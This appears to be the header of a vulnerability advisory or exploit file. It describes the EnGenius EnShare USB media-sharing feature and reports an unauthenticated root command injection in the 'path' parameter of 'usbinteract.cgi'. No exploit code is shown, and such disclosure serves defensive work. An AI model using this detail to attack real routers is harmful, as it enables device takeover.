# Summary: With the EnGenius IoT Gigabit Routers and free EnShare app, use
# your iPhone, iPad or Android-based tablet or smartphone to transfer
# video, music and other files to and from a router-attached USB hard
# drive. Enshare is a USB media storage sharing application that enables
# access to files remotely. The EnShare feature allows you to access media
# content stored on a USB hard drive connected to the router's USB port in
# the home and when you are away from home when you have access to the Internet.
# By default the EnShare feature is enabled.
#
# EnShareTM supports both FAT32 and NTFS USB formats. Transfer speeds of data
# from your router-attached USB storage device to a remote/mobile device may
# vary based on Internet uplink and downlink speeds. The router's design enables
# users to connect numerous wired and wireless devices to it and supports intensive
# applications like streaming HD video and sharing of media in the home and accessing
# media away from the home with EnShare - Your Personal Media Cloud.
#
# Desc: EnGenius EnShare suffers from an unauthenticated command injection
# vulnerability. An attacker can inject and execute arbitrary code as the
# root user via the 'path' GET/POST parameter parsed by 'usbinteract.cgi'
# script.
